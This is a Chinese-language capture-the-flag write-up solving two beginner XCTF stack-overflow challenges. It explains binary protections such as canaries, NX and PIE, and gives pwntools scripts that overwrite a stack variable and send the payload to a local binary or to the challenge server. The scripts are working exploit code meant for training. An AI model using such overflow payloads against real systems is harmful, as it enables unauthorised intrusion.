when_did_you_born-栈溢出
题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5051&page=1
题目描述:只要知道你的年龄就能获得flag,但菜鸡发现无论如何输入都不正确,怎么办
题目附件: 附件1
分析:
下载文件后,通过kali的命令行:file 查看文件多少位:通过查看发现是64位,linux系统,linux在pwn题目出现最多。
查看文件有什么保护:命令checksec --file=when_did_you_born :,发现Canary found金丝雀保护(栈)和堆的保护
运行下测试,输入大量数据,发现疑似栈溢出漏洞
载入IDA分析,按两次空格,进入汇编界面,难分析,按F5进行伪代码显示,发现只要V5溢出到V6,且让V6值为1926,即可继续执行
编写python代码:
1 #栈溢出漏洞 2 from pwn import * 3 4 context(os='linux',arch="amd64",log_level="debug") #代表pwn是linux程序,64位操作系统,调试模式是debug 5 content=1 6 def main(): 7 if content==1: 8 zw=process("when_did_you_born") #运行本地程序 9 else: 10 zw=remote("220.249.52.133",50253) #运行网络程序 11 12 payload=b'a'*(0x20-0x18)+p64(1926) #构建payload攻击溢出脚本,发送一个比特流数据,所以开始是b';(0x20-0x18)代表数据大小是这么大;p64带代表64位字节流发送 13 14 zw.recvuntil("What's Your Birth? ") #收到返回是这个字符串则执行下一行代码 15 zw.sendline("1900") #发送一条数据 16 # zw.sendlineafter("",)#执行到哪一条语句后发送 17 zw.recvuntil ("What's Your Name? ") 18 zw.sendline (payload) 19 20 zw.interactive() #接收数据,把收到的数据发送回来 21 22 main() #运行main函数
执行,发现,正确,更改conent为网络验证获得flag:
hello_pwn-栈溢出
题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5052&page=1
题目描述:pwn!,segment fault!菜鸡陷入了深思(segment fault 段错误各种原因一 造成segment fault,产生core dump的可能原因1.内存访问越界)
题目附件:附件1
下载附件,使用命令检测,发现linux的64位程序,且没有stack栈保护,只有NX堆保护,
(资料:防护技术:
RELRO:在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域,尽量减少可写的存储区域可使安全系数提高。GCC, GNU linker以及Glibc-dynamic linker一起配合实现了一种叫做relro的技术Relocation Read Only, 重定向只读,实现就是由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读。(参考RELRO技术细节)
Stack: 栈溢出检查,用Canary金丝雀值是否变化来检测,Canary found表示开启。
金丝雀最早指的是矿工曾利用金丝雀来确认是否有气体泄漏,如果金丝雀因为气体泄漏而中毒死亡,可以给矿工预警。这里是一种缓冲区溢出攻击缓解手段:启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux将cookie信息称为Canary。
NX: No Execute,栈不可执行,也就是windows上的DEP。
分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠向前兼容的修补来减少溢出带来的损害,DEP就是用来弥补计算机对数据和代码混淆这一天然缺陷的。
DEP的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。DEP的主要作用是阻止数据页(如默认的堆页、各种堆栈页以及内存池页)执行代码。硬件DEP需要CPU的支持,AMD和Intel都为此做了设计,AMD称之为No-Execute Page-Protection(NX),Intel称之为Execute Disable Bit(XD)
Linux称为 NX 与 DEP原理相同
PIE: position-independent executables, 位置无关的可执行文件,也就是常说的ASLR(Address space layout randomization) 地址随机化,程序每次启动基址都随机。)
将程序导入IDA进行分析,发现,双击栈查看,和上题目一样,栈溢出即可
编写代码:
1 #栈溢出漏洞 2 from pwn import * 3 4 context(os='linux',arch="amd64",log_level="debug") #代表pwn是linux程序,64位操作系统,调试模式是debug 5 content=0 6 def main(): 7 if content==1: 8 zw=process("hello_pwn") #运行本地程序 9 else: 10 zw=remote("220.249.52.133",52836) #运行网络程序 11 12 payload=b'a'*(0x6c-0x68)+p64(1853186401) #构建payload攻击溢出脚本,发送一个比特流数据,所以开始是b';(0x20-0x18)代表数据大小是这么大;p64带代表64位字节流发送 13 14 # zw.recvuntil("What's Your Birth? ") #收到返回是这个字符串则执行下一行代码 15 # zw.sendline("1900") #发送一条数据 16 # zw.sendlineafter("",)#执行到哪一条语句后发送 17 zw.recvuntil ("lets get helloworld for bof ") 18 zw.sendline (payload) 19 20 zw.interactive() #接收数据,把收到的数据发送回来 21 22 main() #运行main函数
执行py,获得flag